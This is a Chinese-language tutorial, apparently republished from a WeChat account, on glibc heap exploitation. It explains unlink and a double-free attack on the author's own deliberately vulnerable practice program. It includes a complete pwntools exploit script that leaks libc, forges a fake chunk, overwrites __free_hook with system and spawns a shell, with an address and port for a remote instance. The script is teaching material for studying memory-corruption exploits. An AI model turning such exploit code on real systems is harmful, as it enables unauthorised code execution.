前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >堆利用之double-free

堆利用之double-free

作者头像
安恒网络空间安全讲武堂
发布2018-06-26 11:34:34
2.8K0
发布2018-06-26 11:34:34
举报

本文稿费200软妹币

砸个广告:各位在网络安全方面有新创作的小伙伴,快将你们的心得砸过来吧~

文章以word形式发至邮箱:

minwei.wang@dbappsecurity.com.cn

有偿投稿,记得留下你的姓名联系方式哦~

-START-

自己一直没有总结知识的习惯,这次算是特例了,从这一篇开始,我将目前我所知道的堆利用知识一一做一下总结。

前言

这里只对堆利用技巧做相关总结,相关基础知识请大家自己补充。以下内容都假设读者已经掌握linux下堆基础知识,不清楚的请参考[glibc内存管理ptmalloc源代码分析]

(https://github.com/moonAgirl/pwnstudy/tree/master/resource)

先了解一下unlink

在free一块堆chunk内存时,会查看该块前后相邻的两块是否空闲,如果空闲的话则把他们从原来的链表上卸载出来和当前块合并在一起。分为向前合并和向后合并。 向前合并:

查看下一个块是不是空闲的 – 下一个块是空闲的,如果下下个块(距离当前空闲块)的PREV_INUSE(P)位没有设置(值为0)。为了访问下下个块,将当前块的大小加到它的块指针,再将下一个块的大小加到下一个块指针。 如果是空闲的,使用unlink操作合并它。将合并后的块添加到 unsorted bin 中。

向后合并:

查看前一个块是不是空闲的 –如果当前空闲块的PREV_INUSE(P)位为0, 则前一个块是空闲的。如果空闲,合并它。

unlink操作如下:

FD = P->fd; BK = P->bk; FD->bk = BK; BK->fd = FD;

假设执行free(q),对于向前合并,p就是指向q这个chunk块,对于向后合并,p指向的是q的前一个chunk块

unlink还需要过一个检查,如下:

(P->fd)->bk == (P->bk)->fd ?

即判断当前这个chunk P的后一个chunk的前一个chunk与当前这个chunk P的前一个chunk 的后一个chunk是不是同一个chunk(即P)

再谈double-free漏洞原理

Double Free其实就是同一个指针free两次。虽然一般把它叫做double free。其实只要是free一个指向堆内存的指针都有可能产生可以利用的漏洞。double free的原理其实和堆溢出的原理差不多,都是通过unlink这个双向链表删除的宏来利用的。只是double free需要由自己来伪造整个chunk并且欺骗操作系统。 下面用我自己写的一个漏洞百出的程序来讲解一下double-free的利用细节(本系列都将基于以下这个程序来进行,程序及源码下载地址在这里(https://github.com/moonAgirl/pwnstudy/tree/master/Article/Files/Heaps)。

一个简单的列子-DBAPP

先用ida打开DBAPP分析,通过分析,可以看出这个程序包含以下几个功能: 1.show the items in the App 2.add a new item 3.change the item in the App 4.remove the item in the App 5.exit

show_item

for ( i = 0; i <= 99; ++i ) { if ( Apps[2 * i] ) printf("%d : %s", (unsigned int)i, Apps[2 * i]); }

将Apps[2*i]指向的内容打印出来。

add_item

printf("Please enter the length of item name:"); read(0, &length, 8uLL); v2 = atoi(&length); for ( i = 0; i <= 99; ++i ) { if ( !Apps[2 * i] ) { *((_DWORD *)&itemlist + 4 * i) = v2; Apps[2 * i] = malloc(v2); printf("Please enter the name of item:"); read(0, (void *)Apps[2 * i], v2) = 0; ++tatol_nums; return 0LL; } }

申请一块用户自定义长度的堆块,将堆块指针保存在全局变量Apps[2*i]中

change_item

printf("Please enter the index of item:"); read(0, &buf, 8uLL); v2 = atoi(&buf); if ( Apps[2 * v2] ) { printf("Please enter the length of item name:", &buf); read(0, &nptr, 8uLL); v0 = atoi(&nptr); printf("Please enter the new name of the item:", &nptr); read(0, Apps[2 * v2], v0); }

重写用户指定的堆块,写入长度也由用户自定义

remove_item

if ( tatol_nums ) { printf("Please enter the index of item:"); read(0, &buf, 8uLL); v1 = atoi(&buf); if ( Apps[2 * v1] ) { free(Apps[2 * v1]); *(&itemlist + 4 * v1) = 0; puts("remove successful!!"); --tatol_nums; }

将用户指定的堆块释放。

大家应该已经发现了,在重写堆内容时可以写入用户自定义长度的内容,这是一个漏洞;另外在free堆块时,没有将全局变量里的堆指针清0,这是另一个漏洞。好清记住这两个漏洞,下面开始利用double-free进行漏洞利用。

double-free漏洞利用

首先泄露libc地址,并计算相关函数地址

Add(0x80,'AAAA') #0 Add(0x100,'AAAA') #1 Add(0x10,'AAAA') #2 Delete(1) Add(0xD0,'AAAAAAAA') #3 Show() io.recvuntil('3 : AAAAAAAA') data = u64(io.recv(6).ljust(8,'\x00')) libc_base = data - malloc_hook_libc - 0x168 free_hook_addr = free_hook + libc_base system_addr = system_libc + libc_base success('libc_base:'+hex(libc_base)) success('free_hook_addr:'+hex(free_hook_addr)) success('system_addr:'+hex(system_addr))

再申请两个堆块。

Add(0x100,'BBBB') #5 Add(0x100,'BBBB') #6

此时堆内情况如下:

再将5,6号堆块free掉

Delete(5) Delete(6)

此时再申请一块大小为5,6之和的堆块7,而申请的堆块7正是之前释放的5,6号堆块所在位置,如下:

我们在7号堆块内写入如下内容

payload = p64(0) + p64(0x101) payload += p64(0x6020F8 - 0x18) + p64(0x6020F8 - 0x10) payload += 'a'*(0x100 - 4*8) payload += p64(0x100) + p64(0x110)

解释一下上面这个payload

payload = p64(0) + p64(0x101) payload += p64(0x6020F8 - 0x18) + p64(0x6020F8 - 0x10) payload += 'a'*(0x100 - 4*8)

这部分是在堆块7与堆块5共享的数据部分伪造了一个fake_chunk,将fake-chunk的pre_size设置为0,size设置为0x100,fd域设置为0x6020F8 - 0x18,bk域设置为0x6020F8 - 0x10,这里这是为什么呢?0x6020F8为bss段中存储堆块5首地址的一块地址,我们在这里这样设置可以在之后的unlink操作中绕过**(P->fd)->bk == (P->bk)->fd ?** 这一判断。

payload += p64(0x100) + p64(0x110)

这部分是将堆块7与堆块6共享的部分将chunk 6的pre_size域改为0x100,size域改为0x110

最终堆内存布局如下:

之后再将chunk 6 free一次,造成double-free,触发unlink向后合并 Delete(6) 由于我们已经设置了fd和bk,unlink成功,最终bss中保存chunk 5堆块地址 heap_5 处变为 heap_5 - 0x18,如下图

于是我们编辑堆块5将保存堆块4地址的bss处覆盖为free_hook地址 Change(5,17,p64(0)+p64(free_hook_addr)) 再编辑堆块4,将free_hook处写入system地址 Change(4,17,p64(system_addr)*2) 然后free一块保存有'/bin/sh'字符串的堆块,就相当于执行system(‘/bin/sh\x00')了 Delete(0) get shell!

完整脚本如下:

# coding:utf-8 from pwn import * libc = ELF("/home/moonagirl/moonagirl/libc/libc_local_x64") LOCAL = 1 if LOCAL: io = process('./DBAPP')#,env={"LD_PRELOAD":"./libc-2.24.so"}) context.log_level = 'debug' else: io = remote("39.107.33.43", 13570) def z(a=''): gdb.attach(io,a) if a == '': raw_input() def mmenu(choice): io.recvuntil("Your choice:") io.sendline(choice) def Add(length,name): mmenu('2') io.recvuntil('Please enter the length of item name:') io.sendline(str(length)) io.recvuntil('Please enter the name of item:') io.send(name) def Show(): mmenu('1') def Delete(index): mmenu('4') io.recvuntil('Please enter the index of item:') io.sendline(str(index)) def Change(index,length,name): mmenu('3') io.recvuntil('Please enter the index of item:') io.sendline(str(index)) io.recvuntil('Please enter the length of item name:') io.sendline(str(length)) io.recvuntil('Please enter the new name of the item:') io.sendline(name) Apps_addr = 0x00000000006020A8 system_libc = libc.symbols['system'] free_hook = libc.symbols['__free_hook'] malloc_hook_libc = libc.symbols['__malloc_hook'] def pwnit(): #leak libc_base and calc some useful addr Add(0x80,'/bin/sh\x00') #0 Add(0x100,'AAAA') #1 Add(0x10,'AAAA') #2 Delete(1) Add(0xD0,'AAAAAAAA') #3 Show() io.recvuntil('3 : AAAAAAAA') data = u64(io.recv(6).ljust(8,'\x00')) success('data:'+hex(data)) libc_base = data - malloc_hook_libc - 0x168 #00007F6BD95B8C78 libc_2.23.so:__malloc_hook+168 free_hook_addr = free_hook + libc_base system_addr = system_libc + libc_base success('free_hook_addr:'+hex(free_hook_addr)) success('system_addr:'+hex(system_addr)) Add(0x20,'AAAA') #4 Add(0x100,'BBBB') #5 Add(0x100,'BBBB') #6 Delete(5) Delete(6) # z() payload = p64(0) + p64(0x101) payload += p64(0x6020F8 - 0x18) + p64(0x6020F8 - 0x10) payload += 'a'*(0x100 - 4*8) payload += p64(0x100) + p64(0x110) + p64(0)*2 Add(0x100+0x100+0x10,payload) #7 # z() Delete(6) # z() Change(5,17,p64(0)+p64(free_hook_addr)) Change(4,17,p64(system_addr)*2) Delete(0) io.interactive() if __name__ == "__main__": pwnit()

总结

需要理解unlink,如果我这里没解释清楚,大家可以去寻找一下其他资料。double-free重要的是需要寻找一块保存当前堆块的内存地址。

-END-

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-05-31,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
腾讯云代码分析
腾讯云代码分析(内部代号CodeDog)是集众多代码分析工具的云原生、分布式、高性能的代码综合分析跟踪管理平台,其主要功能是持续跟踪分析代码,观测项目代码质量,支撑团队传承代码文化。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档